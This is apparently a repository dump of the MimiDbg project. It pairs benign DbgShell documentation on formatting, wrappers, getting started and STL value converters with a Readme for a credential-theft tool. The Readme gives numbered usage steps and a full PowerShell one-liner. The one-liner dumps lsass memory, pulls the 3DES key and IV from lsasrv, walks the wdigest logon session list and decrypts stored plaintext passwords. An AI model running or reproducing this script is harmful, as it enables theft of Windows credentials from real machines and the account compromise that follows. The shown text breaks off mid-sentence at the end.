shape of the register output displayed on each step to know where to keep my eyes to see when a particular piece of information changes. Color adds a whole new dimension to the information. With the addition of color, you can highlight information independent of shape or within shape. It can simply make a particular shape even more identifiable, or, even better, it can highlight information within a shape. On top of that, even, it can highlight the differences between two instances of the same shape. For example, the register output is familiar to all who debug. It can be made even more identifiable by making the register values blue. Even better, when stepping, if the registers that change between each step change color, it becomes trivial to see what has changed. ![Stepping with Color](screenshot_stepping.png) ================================================ FILE: DbgShell/x86/doc/CustomFormattingEngine.md ================================================ # Custom Formatting+Output Engine PowerShell is not a text-based shell; it's an object-based shell. Commands write full objects to the "pipeline"; not strings. So when you are running PowerShell.exe, what determines what text you see in the console window? The name for the feature area of PowerShell that takes care of that is called "Formatting and Output", or "F+O" for short. The basic idea is that whenever you interactively run some pipeline of commands, the PowerShell host tacks on an extra "`Out-Default`" command onto the end of the pipeline you typed. (So if you type "`Get-Foo | Select-Object -First 3`", the pipeline that is actually executed is "`Get-Foo | Select-Object -First 3 | Out-Default`".) The `Out-Default` command is what figures out how to display whatever objects popped out at the end of your pipeline. ## The Default Out-Default (I may get a few details wrong here, but this is the general idea...) If a string object comes to `Out-Default`, it will just send that string right along. (The PowerShell host will get it and write it to the console.) But if something else comes along, Out-Default will try and "format" it. In standard PowerShell, you can define one or more custom "view definitions" for a particular type by typing some XML into a [.ps1xml](http://msdn.microsoft.com/en-us/library/windows/desktop/dd878339(v=vs.85).aspx) file. You can create List views, Table views, Wide views, or Custom views. For instance, for a table view, you would define what the columns should be—labels, widths—and where the data should come from—property names or custom script. If `Out-Default` finds a view definition for a particular object type, it will use that to "format" the object for display. So if you define a table view for an object, then `Out-Default` will call `Format-Table` with the specified view definition for your object. (And that will eventually yield strings, which the PowerShell host will write to the console.) If `Out-Default` does not find any pre-defined view definitions for an object, it will try to generate one on the fly based on the properties of the object. If the object has 1-4 properties, it will generate a table view; else if there are more it will generate a list view. Sometimes the default generated view is fine; sometimes it's lousy. If for some reason the object has _no_ properties (so a generated view based on properties would yield nothing), then `Output-Default` will just call `.ToString()` on the object. (Or is it the PowerShell host that calls `.ToString()`? I forget.) **Q:** Seems pretty flexible. So why does DbgShell need a custom F+O engine?
**A:** There are a few reasons: * Support for [Color]. * Better handling of generics. * The default F+O has other serious limitations. ## Support for Color DbgShell supports color by using ISO/IEC 6429 control sequences (see the [Color](Color.md) page for more info). The built-in formatting engine does not recognize these color sequences, so they add length to strings, but they should really be considered zero-length, since they are stripped out when displayed. Not treating colorized strings as zero-width throws formatting way off. In addition to treating control sequences as zero-width, sometimes formatting needs to truncate strings (such as to fit a value into a table column). Things like truncating in the middle of a control sequence or chopping off the end of a string with a POP control sequence wreak havoc on the color state. So DbgShell needs an F+O engine that is control-sequence aware. ## Better Handling of Generics When registering a view definition, you must say what type(s) it applies to, and this does not play well with generics: * If you look at the typename for `KeyValuePair`, it is something horrible, like ``System.Collections.Generic.KeyValuePair`2[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Int32, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]``. Besides simply looking hideous, there are PublicKeyTokens and version numbers in there that are onerous to depend on. * If you want to apply some formatting in a generic way (for instance, if I want to apply certain formatting for all `KeyValuePair`, no matter what `TKey` and `TValue` are), there is no way to do it. One way to hack the formatting system is by sticking something else in the TypeNames list, and keying off that in your view definition. But with some very important cases, such as enumeration of dictionary key/value pairs, there is no way to inject yourself into the chain of events such that you can get at the TypeNames list. DbgShell's solution is to simply let you easily define views for generic types just as easily as for other types (using type names more like you would see in source code, like `System.Collections.Generic.KeyValuePair`). Additionally, you can register views for partially specified generic types by using special wildcards, like `System.Collections.Generic.KeyValuePair`, which would apply to all KVP's no matter the type of key or value. ### The Default F+O Has Other Serious Limitations Creating format view definitions for the built-in PowerShell formatting engine is painful and somewhat esoteric. We can make it easier. (Aside: It's strange that someone chose XML as the definition language for custom formatting views when they had a perfectly cromulant scripting language right in their lap.) The built-in formatting engine is relatively "set"—with the exception of Format-Custom, there isn't much opportunity to do serious customization of the formatting and display experience. (Even "custom" formatting views are not as flexible as you might think.) By implementing our own engine, we can add useful features such as footers for tables, an auto-generated index column, etc. Another deficiency of the default F+O is that if you have multiple objects written to the output stream, it will pick a formatting view definition based on the first object it sees, and then try to use that view for all subsequent objects. If the objects written to the output stream are not all the same type... terribleness. ## DbgShell's Custom F+O **Q:** Does DbgShell's custom formatting engine replace the built-in one?
**A:** No, it exists "side-by-side". **Q:** How do you invoke the alternate formatting engine?
**A:** You can invoke the alternate formatting cmdlets directly (`Format-AltTable`, `Format-AltList`, `Format-AltCustom`, `Format-AltSingleLine`), but you can also just use the regular formatting cmdlets (`Format-Table`, etc.) because we have defined "proxy" functions for them. The proxy functions will check to see if you have an alternate format view definition for the type of object you are trying to format, and if so, it forwards the call on to the alternate formatting cmdlet; if not, it sends it on to the built-in formatting cmdlet. **Q:** How do those proxy functions know if a particular object has a view definition for the alternate F+O engine?
**A:** When you register a view definition with the alternate formatting engine, you give the name of the type it should be applicable for. Then when it has an object it needs to format, the proxy function uses the "TypeNames" of the object. N.B.: this does not mean it calls `.GetType()` on the object and uses the name of the type; it uses the `PSObject.TypeNames` list. This list will include base types, so you can define a single view definition for a base type, and it will be applied to derived objects too. **Q:** How do I create format view definitions for the alternate formatting engine?
**A:** Instead of a .ps1xml file, you write a .psfmt file, which contains PowerShell script. In the script, you call various cmdlets to define your format views, such as New-AltScriptColumn, New-AltTableViewDefinition, etc., culminating in a call to Register-AltTypeFormatEntries. Take a look at the included Debugger.DebuggeeTypes.psfmt file for an example. **Q:** What types of views does the custom F+O support?
**A:** It supports some similar to the default F+O: List, Table, and Custom, plus another that does not have an analog in the default F+O: Single-Line. ### Debuggee/symbol values Recall (from one of the **Q/A**s above) that the alternate formatting engine uses an object's "TypeNames" to look up an alternate formatting view definition. (You can see an object's TypeNames list easily by typing something like "`$foo.PSObject.TypeNames`".) The TypeNames list will also include base types. For instance, for a `System.String`: ```powershell PS C:\Users\danthom> [string] $s = 'hello' PS C:\Users\danthom> $s.PSObject.TypeNames System.String System.Object ``` When DbgShell creates objects that represent symbol values, it puts some additional pseudo type names into the TypeNames list. The pseudo type names represent the type of the symbol value. These pseudo type names are distinguished by having a '!' in them (a la the debugger syntax for a module!name). For instance: ``` PS Dbg:\WhatHappenedToThatCsRec.cab\Threads\22> $myGlobal = dt dfsrs!g_FrsStatusList PS Dbg:\WhatHappenedToThatCsRec.cab\Threads\22> $myGlobal.PSObject.TypeNames dfsrs!FrsStatusList* !FrsStatusList* MS.Dbg.DbgPointerValue MS.Dbg.DbgPointerValueBase MS.Dbg.DbgValue System.Object PS Dbg:\WhatHappenedToThatCsRec.cab\Threads\22> ``` The pseudo type names are not real .NET type names, but the alternate formatting engine does not care about that—they are just strings to be used in a lookup. This allows you to create view definitions (for the alternate formatting engine) to customize how certain symbol value objects are displayed. ### Single-line views Recall (from one of the **Q/A**s above) that the alternate formatting engine supports a "single-line" view type that has no equivalent in the default formatting engine. A single-line view definition is just what it sounds like—given an object, it should produce a single string (for display on a single line). When it comes to view definition selection, single-line view definitions are somewhat special. When an object pops out the end of your pipeline, DbgShell's alternate formatting engine will check to see if there are any alternate formatting engine view definitions registered for it. If it finds a table view first, it will use that; if it finds a list view first, it will use that; if it finds a custom view first, it will use that. But if it finds a "single-line" view, it will _not_ use it (and it will continue to look for the next view definition). Single-line view definitions are _only_ used if you explicitly call `Format-AltSingleLine`. (If no alternate formatting engine view definitions are found, the object goes on to the PowerShell built-in formatting engine.) So when are single-line views useful? You might not ever call `Format-AltSingleLine` yourself, but some of DbgShell's other view definitions will. In particular, DbgShell defines a custom view definition for UDT values (User-Defined Type; an "object" in C++ or C#), and that custom view uses `Format-AltSingleLine` to give a summary of each of the fields in the object. With appropriate single-line view definitions registered, this gives you a very powerful view of an object "at a glance", without needing to "drill" into fields to check what the values are. ### Example Here is an example that registers a single-line view for `CRITICAL_SECTION` objects. ```powershell Register-AltTypeFormatEntries { New-AltTypeFormatEntry -TypeName '!_RTL_CRITICAL_SECTION' { New-AltSingleLineViewDefinition { # The DbgUdtValue formatting code pre-screens for unavailable # values; we can assume the value is available here. if( $_.LockCount -lt 0 ) { $cs = Format-DbgTypeName '_RTL_CRITICAL_SECTION: ' $cs = $cs.AppendPushPopFg( [ConsoleColor]::Green, 'Not locked.' ) return $cs } else { $cs = Format-DbgTypeName '_RTL_CRITICAL_SECTION: ' $cs = $cs.AppendPushPopFg( [ConsoleColor]::Yellow, "LOCKED, by thread: $($_.OwningThread)" ) return $cs } } # end AltSingleLineViewDefinition } # end Type !_RTL_CRITICAL_SECTION } ``` The command on the first line says that we are going to register some view definitions for the alternate formatting engine. The parameter to that command is a script block that produces "format entries". A format entry is basically just a tuple mapping a type name to a set of view definitions. The next line says we are going to create a format entry for objects that have "`!_RTL_CRITICAL_SECTION`" in their TypeNames list. The last parameter is another script block, which produces view definitions. (There is only one view definition here, but you can have more than one—for instance, you could also define a list view and a table view.) Finally we come to the `New-AltSingleLineViewDefinition` command. The object that is being formatted is passed in as the "dollar underbar" (`$_`) variable. The first thing we do is check to see if the critical section is locked or not, so we can give different output for each case. The `Format-DbgTypeName` command returns a `ColorString` object formatted consistently with how DbgShell displays type names (dark yellow on black). To that we append more text; either a green "Not locked", or a yellow "LOCKED" message, along with the owning thread. This view definition produces output like below: ![Single-line format display for a critsec](screenshot_critsec_formatting.png) For more examples, just take a look at some actual view definitions that come with DbgShell: run `dir Bin:\Debugger\*.psfmt` from within DbgShell to see a list of formatting files. ================================================ FILE: DbgShell/x86/doc/DbgEngWrapper.md ================================================ # DbgEngWrapper The dbgeng.dll API (`IDebugClient`, `IDebugEtc.`) implements a subset of COM: each `IDebug*` interface implements `IUnknown`, and given one interface, you can QueryInterface it to get a different interface. But there is no IDL, no type library, no proxies/stubs, no apartment or security concerns, etc. So one way to call the `IDebug*` interfaces from managed code is via COM Interop. This works okay for a lot of simple cases, but because the interfaces are not "full" COM, there are some problems: 1. **Threading concerns:** if you happen to try to call an interface from a different apartment, the CLR's COM Interop mechanism will search around for a proxy/stub to transfer the call between apartments, but there are no such registered proxies/stubs, so that blows up. One way around that is to make sure you only use threads in the MTA, and/or never smuggle interface pointers across thread boundaries. 1. The dbgeng COM implementation does not always meet the CLR's COM Interop expectations. For instance, if you get an `IDebugClient` interface that is connected to a remote debugger (via `DebugConnect`), when creating the RCW for the interface, the CLR will QueryInterface for something which the interface does not implement, and then it fails to create the RCW. 1. Probably more. You can work around (1) if you can control all the threads' COM state, but there is no workaround for (2). Thus the need for the DbgEngWrapper library: a C++/CLI wrapper, which bridges the managed-to-native gap via "IJW" (It Just Works) interop. The DbgEngWrapper is not *even close to* complete, and is not a direct translation of the native dbgeng API. For instance, for methods that return a string: rather than taking a buffer, a buffer size, and a pointer to a variable to hold how much of the buffer was filled (or how much is required); the DbgEngWrapper usually exposes a more managed-friendly signature that simply returns the string, and handles the buffer stuff (including re-allocating a larger buffer when necessary) under the hood. ================================================ FILE: DbgShell/x86/doc/DerivedTypeDetection.md ================================================ # Derived Type Detection DbgShell lets you see symbol values as they are, not just as they are declared. For instance, if you have a member field that is declared in source code as being an `IFoo*`, but at runtime the member points at a `CFooImpl`, when you dump the object in DbgShell, you'll see a CFooImpl. It works by using vtable and base class information found in the PDB. It does not require anything from you. However, if you run into some sort of problem (or just want to see how good you have it), you can bypass it by using the `DbgSymbol.GetValue( bool skipTypeConversion, bool skipDerivedTypeDetection )` method. ## Examples TBD ================================================ FILE: DbgShell/x86/doc/GettingStarted.md ================================================ # Getting Started with DbgShell _DbgShell is a PowerShell front-end for the Windows debuggers. For more background see the root [ReadMe](../ReadMe.md)._ _For help within DbgShell, you can run_ `Get-Help about_DbgShell`. DbgShell is a PowerShell shell. You can think of it as a tricked-out PowerShell.exe. So most things that you can do with PowerShell.exe, you can do with DbgShell.exe (some things are not tested/supported, such as remoting capabilities). In addition to normal PowerShell stuff that you could do in any PowerShell.exe window, you also have available a bunch of commands from a module called "Debugger". A quick way to see the commands available to you from a particular module is to use `Get-Command`: ```powershell Get-Command -Module Debugger ``` However, this might be a little daunting (it will return > 100 things). And just knowing what commands are available does not explain everything about DbgShell. So we'll cover a few basic things here to get you started. DbgShell can be run in both "standalone mode" (by running DbgShell.exe), or from a debugger (such as windbg) (by `.load`ing DbgShellExt.dll and running `!dbgshell`). We'll start with standalone stuff—go ahead and launch `DbgShell.exe`. # Standalone Mode First, the prompt: when you start DbgShell.exe, you will see some banner text, and then you will be at a prompt that looks like this: ``` PS Dbg:\ > ``` Don't be alarmed. In other shells, you are accustomed to having prompt text that indicates the current directory. PowerShell is the same, but in addition to the filesystem, there are other "namespace providers" that allow you to `cd` into the registry, into Active Directory, etc. And in DbgShell, there is a namespace provider for the debugger, and "Dbg:\" is the root of the namespace (In PS parlance, "Dbg:" is a PSDrive). If you run `dir`, there won't be much to see, because we aren't attached to anything yet. To do that, there are several commands: ```powershell Connect-Process # attaches to an existing process. Start-DbgProcess # starts a process under the debugger. Mount-DbgDumpFile # loads a dump file. ``` # Attaching So let's get attached to something. It will be more interesting to attach to something for which we have full private symbols. DbgShell comes with a couple of console EXEs for testing purposes, so we can use one of those. They can be easily accessed via the `Bin:\` PS drive. Run: ```powershell Start-DbgProcess Bin:\DbgShellTest\TestNativeConsoleApp.exe ``` You'll see a whole bunch of output, which looks very much like what you would have seen in windbg/ntsd. However, that stuff is not just plain text—it's all objects. For instance, if you ran "`$stuff = Start-DbgProcess Bin:\DbgShellTest\TestNativeConsoleApp.exe`" instead, you wouldn't see any output (all the objects would be collected into the `$stuff` variable). And then you could do something like "`$stuff[0] | Format-List * -Force`" and see more details, which might look like: ``` ImageFileHandle : 2900 ModuleInfo : ntdll 00007ffe`686f0000 00007ffe`6889c000 FilterEvent : LOAD_MODULE Debugger : MS.Dbg.DbgEngDebugger Message : ModLoad: 00007ffe`686f0000 00007ffe`6889c000 ntdll Timestamp : 1/2/2015 9:01:32 PM -08:00 ShouldBreak : False ``` ## Lesson #1 So lesson #1 is that DbgShell nearly always deals in full objects—*NO PLAIN TEXTUAL OUTPUT.* Now that we're attached to something, notice that the prompt has changed: ``` PS Dbg:\TestNativeConsoleApp (0)\Threads\0 > ``` Use `cd` (an alias for `Set-Location`), `dir` (an alias for `Get-ChildItem`), and `type` (an alias for `Get-Content`) to explore around. Go ahead, I'll wait. (Hint: you can `cd` into anything labeled as a `[container]`, as well as using "`..`" to go up a level.) (There are other commands/aliases as well, such as `pushd`/`popd`, `ls`, `gc`, etc.) Currently the information exposed in the namespace is minimal, but it gives you a flavor for what is possible. Okay, let's take a look at something together. Get back to where you started, and take a look at the "Teb" item ```powershell cd "Dbg:\TestNativeConsoleApp (0)\Threads\0" type .\Teb ``` Assuming you are able to download symbols for `ntdll` from the Microsoft symbol servers (or have them cached), you should see the contents of the TEB. It's not plain text, of course; it's an object (see Lesson #1). You could assign that object to a variable, but it turns out that for the TEB, there is a built-in variable, `$teb`. (Type just "`$teb`" and hit enter, and you should see the same thing.) Another way to get at the TEB is to get it off of a thread object. To get a thread object, you could use the "`Get-DbgUModeThreadInfo -Current`" command, or if you are accustomed to windbg commands, you could just use "`~.`". So this should also show you the TEB: ```powershell (~.).Teb ``` ## Lesson #2 So lesson #2 is that there are usually several different ways to get at something—you might be able to get it through the namespace, through a special variable (just like "pseudo-registers" in windbg), or through commands, using either PS-style descriptive cmdlet names, or traditional windbg command names (where implemented—windbg has many more commands than are implemented in DbgShell). Now let's take a look at stacks. So that we have more than just `ntdll`'s process bootstrapping on the stack, set a breakpoint on the `_InitGlobals` function and `g`o there. Note that there is tab completion, so you can type "`bp TestN`", hit `[tab]`, and it will complete. ```powershell bp TestNativeConsoleApp!_InitGlobals g ``` In windbg, there are various different commands used for displaying stacks in different ways (`k`, `kc`, `kp`, `kP`, `kn`, etc.). In DbgShell, there is just one core command—`Get-DbgStack`—which retrieves a `DbgStackInfo` object, which can be formatted in various ways. There are currently only a few aliases/wrappers defined (`kc` and `k`), with more to be added in the future. So in addition to just displaying a stack, you can do scripty things with it. The alias for the core `Get-DbgStack` command is "`kc`", so we can do things like this: ```powershell $myStack = kc $myStack.Frames[ 1 ].ReturnAddress $myStack.Frames[ 1 ].Function.Symbol.Type.Arguments[ 0 ].ArgType ``` This is awesome. It gets even more awesome with symbols and symbol values. Navigate to stack frame 1. If you use `cd`, tab completion is your friend. Or you can just use a windbg-style command: "`.frame 1`". To take a look at locals, you can use the `Get-DbgLocalSymbol` command, or its windbg-like alias, `dv`. To start digging into locals, you could assign the output of "`dv`" to a variable ("`$locals = dv`", followed by "`$locals[8].`"), or you can use the handy `dt` function, which is a wrapper around `Get-DbgSymbolValue` (or `Get-DbgTypeInfo`, depending on how you use it). Some of the locals in this frame have not been initialized, but we can also explore globals. Let's "go up" a frame, to let the `_InitGlobals()` function finish its work first, and then look at all the globals with names that start with "`g_`": ```powershell gu x TestNativeConsoleApp!g_* ``` Now you can try out tab completion by typing `dt TestN[tab]m_pd[tab][tab]` to auto-complete to `dt TestNativeConsoleApp!g_pDtdNestingThing4`. And then you can type a "`.`", and start pressing tab, as many times as you like. Whenever you find something you want to dig into further, just type a "`.`", and keep tabbing your way to glory. When you find something you want to see in more detail, just hit enter to run the `dt` command, and you'll see its juicy contents. ## Lesson #3 So lesson #3 is that tab completion is fantastic. And remember lesson #1—that stuff you see is not text. It's an object, which you can script with. Numbers can be added or subtracted or multiplied (or used with logical operators), you can do stringy stuff with strings, pointers can be indexed off of (and they support pointer arithmetic), etc. If you aren't familiar with PowerShell, the help topic displayed by `get-help about_Operators` gives lots of information about general powershell operators, plus references to other topics (like `get-help about_Logical_Operators, etc.). And it's not just symbol values that are rich objects—you can get to the type information as well. You can either start with "`dv`" (`Get-DbgLocalSymbol`) or "`x`" (`Get-DbgSymbol`) and get the `Type` property off the resulting `DbgLocalSymbol` object, or if you've got a symbol **value** (for instance, if you used "`dt`" and used tab completion and "`.`" to get several levels deep), every symbol value has a `DbgGetSymbol()` method that will give you the symbol information for the value in question, from which you can get the Type property. For example, ```powershell $val = dt TestNativeConsoleApp!g_d2 $sym = $val.DbgGetSymbol() $sym.Type $sym.Type | Format-List ``` Notice the last two commands—the first ("`$sym.Type`") gives output that would be familiar to users of windbg. But taking that same object and sending it through a different formatter (`Format-List`, or "`fl`" for short) gives us a different view, which shows more of the information that is available. ## Lesson #4 Symbol values and types are rich objects that are highly scriptable. `Format-List` is handy to see available properties. I'm currently out of time to work on this "getting started" guide, so let me just suggest a few additional topics for your personal exploration: * Global symbols and values (`x`/`Get-DbgSymbol`, `dt`/`Get-DbgSymbolValue`) * Execution (`p`, `pc`, `g`, `gu`) * Memory (`dd`, `dp`, `dps`) * Disassembly (`uf .`) * Module information (`lm`/`Get-DbgModuleInfo`) * Register values (`r`/`Get-DbgRegisterInfo`) Oh, and one last thing: ## ESCAPE HATCH DbgShell currently only implements a very small set of windbg-style commands. When you want to do something but DbgShell doesn't support it (or you don't know how), you can use the `Invoke-DbgEng` command ("`ide`" for short)—this "escape hatch" command lets you type any crazy, esoteric windbg command that you like and send it to dbgeng for execution. A big downside to the escape hatch is that *Lesson #2* does not apply—you only get text for output. ================================================ FILE: DbgShell/x86/doc/SymbolValueConversion.md ================================================ # Custom Symbol Value Conversion DbgShell lets you get symbol values as nice objects. This is extremely powerful for scripting! For most objects, the stock object given to you by DbgShell is fine, but some objects are very painful to deal with in "raw" form—notably STL containers. So DbgShell has a generic "custom symbol value conversion" facility, which lets you register some little snippet of script to take a stock symbol value object and turn it into something more useful. You can add properties or methods, or create an entirely new object. DbgShell comes with a few of these little conversion snippets, including some for dealing with STL containers: STL symbol value type | | Gets tranformed into a .NET object of this type --------------------- | ------ | ----------------------------------------------- `std::string, std::wstring` | → | `System.String` `std::vector<*>` | → | `System.Collections.ObjectModel.ReadOnlyCollection` `std::map<*>` | → | `System.Collections.ObjectModel.ReadOnlyDictionary` `std::set<*>` | → | `System.Collections.ObjectModel.ReadOnlyCollection` ## Examples To give you an idea how these work, here’s the script for dealing with STL vectors: ```powershell Register-DbgValueScriptConverter -TypeName '!std::vector' -Converter { try { # $_ is the symbol $stockValue = $_.GetStockValue() $val = $null [bool] $unallocatedEmpty = $false if( $stockValue._Myfirst.DbgIsNull() ) { $unallocatedEmpty = $true $val = New-Object 'System.Collections.Generic.List[PSObject]' -ArgumentList @( 0 ) } else { $unallocatedEmpty = $false $elemType = $stockValue._Myfirst.DbgGetSymbol().Type.PointeeType $numElements = $stockValue._Mylast - $stockValue._Myfirst # N.B. Pointer arithmetic (takes element size into account) $val = New-Object 'System.Collections.Generic.List[PSObject]' -ArgumentList @( $numElements ) for( [int] $i = 0; $i -lt $numElements; $i++ ) { $elem = Get-DbgSymbolValue -Address ($stockValue._Myfirst + $i) -Type $elemType # N.B. Pointer arithmetic $null = $val.Add( $elem ) } } $val = $val.AsReadOnly() if( $unallocatedEmpty ) { Add-Member -InputObject $val -MemberType ScriptMethod -Name 'capacity' -Value { 0 } Add-Member -InputObject $val -MemberType ScriptMethod -Name 'size' -Value { 0 } } else { $capacity = $stockValue._MyEnd - $stockValue._Myfirst # N.B. Pointer arithmetic Add-Member -InputObject $val -MemberType ScriptMethod -Name 'capacity' -Value { $capacity }.GetNewClosure() Add-Member -InputObject $val -MemberType ScriptMethod -Name 'size' -Value { $numElements }.GetNewClosure() } Write-Collection -Collection $val } finally { } } # end vector converter ``` That's relatively simple and gives you the general idea. The one for maps is a little more involved, but still not too bad: ```powershell Register-DbgValueScriptConverter -TypeName '!std::map' -Converter { try { # $_ is the symbol $stockValue = $_.GetStockValue() # This "root" node does not have a value, and is used as a sentinel (sub-tree pointers # point to the root to mean "no sub-tree"). $dummyHead = $stockValue._Myhead <#assert#> if( $dummyHead._Isnil -ne 1 ) { throw "Expected dummy root to be 'nil'" } if( 0 -eq $stockValue._Mysize ) { # Since the map is empty, we don't know what the key type will be... but that's # okay, since it's empty. # # (We don't know what the key type will be, because even if we pulled the type # from the template parameters, a) that's the type in the target, and b) we don't # know what type key values would be after going through value conversion.) $d = New-Object 'System.Collections.Generic.Dictionary[PSObject,PSObject]' -ArgumentList @( 0 ) $d = New-Object 'System.Collections.ObjectModel.ReadOnlyDictionary[PSObject,PSObject]' -ArgumentList @( $d ) Write-Collection -Collection $d return } $rootNode = $dummyHead._Parent $sampleKey = $rootNode._Myval.first # Of course, there's no facility to specify a comparer. I suppose if someone has a # certain case where they want a special comparer, they could write their own # converter, more narrowly specified for just their specific type. [string] $keyTypeName = $sampleKey.GetType().FullName if( ($sampleKey -is [MS.Dbg.DbgNullValue]) -or ($sampleKey -is [MS.Dbg.DbgPointerValue]) ) { # Because we need to be able to handle both DbgPointerValue objects and # DbgNullValue objects as keys. Having a separate DbgNullValue type makes most # things simpler, but it makes this particular scenario a little more # complicated. $keyTypeName = 'MS.Dbg.DbgPointerValueBase' } $d = New-Object "System.Collections.Generic.Dictionary[$($keyTypeName),PSObject]" -ArgumentList @( $stockValue._Mysize ) # We'll do a recursive traversal of the tree, using this function: function ProcessSubtree( $rootNode ) { <#assert#> if( $rootNode._Isnil -ne 0 ) { throw "ProcessSubtree called with invalid node." } # We don't preserve the order, but we'll go ahead and process them # in the proper order anyway: left subtreee, current node, right # subtree. if( $dummyHead -ne $rootNode._Left ) { ProcessSubtree $rootNode._Left } $d.Add( $rootNode._Myval.first, $rootNode._Myval.second ) if( $dummyHead -ne $rootNode._Right ) { ProcessSubtree $rootNode._Right } } # end ProcessSubtree ProcessSubtree $rootNode $d = New-Object "System.Collections.ObjectModel.ReadOnlyDictionary[$($keyTypeName),PSObject]" -ArgumentList @( $d ) Write-Collection -Collection $d } finally { } } # end map converter ``` ## More information More information on various techniques for writing symbol value converters is available from within DbgShell—just run "`Get-Help about_HowTo_Write_a_Symbol_Value_Converter`". You can also see a bunch of existing converter scripts by running `dir Bin:\Debugger\*.converters.*`. ================================================ FILE: Readme.md ================================================ # About MimiDbg MimiDbg is a PowerShell oneliner that leverages the Microsoft tools "DbgShell". DbgShell is a PowerShell front-end for the Windows debugger engine. You can find DbgShell [here](https://github.com/Microsoft/DbgShell) MimiDbg uses [PowerMemory](https://github.com/giMini/PowerMemory/blob/master/README.md) concept to retrieve Wdigest passwords from the memory. ## How to use it? ![mimiDbg How to use it?](https://media.giphy.com/media/xUOxfdG7ghdVXHmRZ6/giphy.gif) 1) Download the project. 2) Unzip it in c:\temp. 3) Open a command prompt. 4) Type: ``` cd c:\temp\DbgShell\x64 ``` 5) Run the following oneliner: ``` DbgShell.exe $process = Get-Process lsass;$ok=0;$windowsErrorReporting = [PSObject].Assembly.GetType('System.Management.Automation.WindowsErrorReporting');$windowsErrorReportingNativeMethods = $windowsErrorReporting.GetNestedType('NativeMethods', 'NonPublic');$flags = [Reflection.BindingFlags] 'NonPublic, Static';$miniDumpWriteDump = $windowsErrorReportingNativeMethods.GetMethod('MiniDumpWriteDump', $flags);$miniDumpWithFullMemory = [UInt32] 2;$processId = $process.Id;$processName = $process.Name;$processHandle = $process.Handle;$processDumpPath = 'C:\Users\Public\Downloads\juice';$fileStream = New-Object IO.FileStream($processDumpPath, [IO.FileMode]::Create);try{$result = $miniDumpWriteDump.Invoke($null, @($processHandle,$processId,$fileStream.SafeFileHandle,$miniDumpWithFullMemory,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero));if(!$result) {$fileStream.Close();}$fileStream.Close();$ok=1;}catch{$_.Exception();$fileStream.Close();}Mount-DbgDumpFile -DumpFile $processDumpPath;$faObj = dd lsasrv!h3DesKey;$sa = '{0:x8}' -f $faObj.Item(1) + '{0:x8}' -f $faObj.Item(0);$saObj = dd $sa;$ta = '{0:x8}' -f $saObj.Item(5) + '{0:x8}' -f $saObj.Item(4);$h3Des = db $ta;$k = '0x{0:x}' -f $h3Des.Item(60) + ', 0x{0:x}' -f $h3Des.Item(61) + ', 0x{0:x}' -f $h3Des.Item(62) + ', 0x{0:x}' -f $h3Des.Item(63) + ', 0x{0:x}' -f $h3Des.Item(64) + ', 0x{0:x}' -f $h3Des.Item(65) + ', 0x{0:x}' -f $h3Des.Item(66) + ', 0x{0:x}' -f $h3Des.Item(67) + ', 0x{0:x}' -f $h3Des.Item(68) + ', 0x{0:x}' -f $h3Des.Item(69) + ', 0x{0:x}' -f $h3Des.Item(70) + ', 0x{0:x}' -f $h3Des.Item(71) + ', 0x{0:x}' -f $h3Des.Item(72) + ', 0x{0:x}' -f $h3Des.Item(73) + ', 0x{0:x}' -f $h3Des.Item(74) + ', 0x{0:x}' -f $h3Des.Item(75) + ', 0x{0:x}' -f $h3Des.Item(76) + ', 0x{0:x}' -f $h3Des.Item(77) + ', 0x{0:x}' -f $h3Des.Item(78) + ', 0x{0:x}' -f $h3Des.Item(79) + ', 0x{0:x}' -f $h3Des.Item(80) + ', 0x{0:x}' -f $h3Des.Item(81) + ', 0x{0:x}' -f $h3Des.Item(82) + ', 0x{0:x}' -f $h3Des.Item(83);$iv = db lsasrv!InitializationVector;$iv = '0x{0:x}' -f $iv.Item(0) + ', 0x{0:x}' -f $iv.Item(1) + ', 0x{0:x}' -f $iv.Item(2) + ', 0x{0:x}' -f $iv.Item(3) + ', 0x{0:x}' -f $iv.Item(4) + ', 0x{0:x}' -f $iv.Item(5) + ', 0x{0:x}' -f $iv.Item(6) + ', 0x{0:x}' -f $iv.Item(7);$lsObj = dd wdigest!l_LogSessList;$lsf = '{0:x8}' -f $lsObj.Item(1) + '{0:x8}' -f $lsObj.Item(0);$nextEntry = '';$i = 0;$lsfEntry = $lsf;while ($lsfEntry -ne $nextEntry) {if($i -eq 0) {$lsfObj = dd $lsf;$sizeObj = db $lsf;$nextEntry = '{0:x8}' -f $lsfObj.Item(1) + '{0:x8}' -f $lsfObj.Item(0);$i = 1;}else {$lsfObj = dd $nextEntry;$sizeObj = db $lsf;$nextEntry = '{0:x8}' -f $lsfObj.Item(1) + '{0:x8}' -f $lsfObj.Item(0);}$t = '{0:x8}' -f $lsfObj.Item(15) + '{0:x8}' -f $lsfObj.Item(14);du $t;$sizeObj = db $lsf;$L = '{0:x}' -f $sizeObj.Item(82);$juice = '{0:x8}' -f $lsfObj.Item(23) + '{0:x8}' -f $lsfObj.Item(22);$juiceObj = db $juice L$L;$tot = [System.Convert]::ToInt32($L,16);$phex = '';for($i=0;$i -lt $tot;$i++) {if($i -ne 0) {$phex += ', 0x{0:x2}' -f $juiceObj.Item($i);}else {$phex = '0x{0:x2}' -f $juiceObj.Item($i);}}$password = $phex;$key=$k;$initializationVector=$iv;try{$arrayPassword = $password -split ', ';$passwordByte = @();foreach($ap in $arrayPassword){$passwordByte += [System.Convert]::ToByte($ap,16);}$arrayKey = $key -split ', ';$keyByte = @();foreach($ak in $arrayKey){$keyByte += [System.Convert]::ToByte($ak,16);}$arrayInitializationVector = $initializationVector -split ', ';$initializationVectorByte = @();foreach($aiv in $arrayInitializationVector){$initializationVectorByte += [System.Convert]::ToByte($aiv,16);}$TripleDES = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider;$TripleDES.IV = $initializationVectorByte;$TripleDES.Key = $keyByte;$TripleDES.Mode = [System.Security.Cryptography.CipherMode]::CBC;$TripleDES.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$decryptorObject = $TripleDES.CreateDecryptor();[byte[]] $outBlock = $decryptorObject.TransformFinalBlock($passwordByte, 0 , $passwordByte.Length);$TripleDES.Clear();Write-Output ([System.Text.UnicodeEncoding]::Unicode.GetString($outBlock));}catch {Write-Output '$error[0]';}} ``` ## Current Status MimiDbg has been in my mind for a long time (since DbgShell announcement). The project is still pretty new. However, 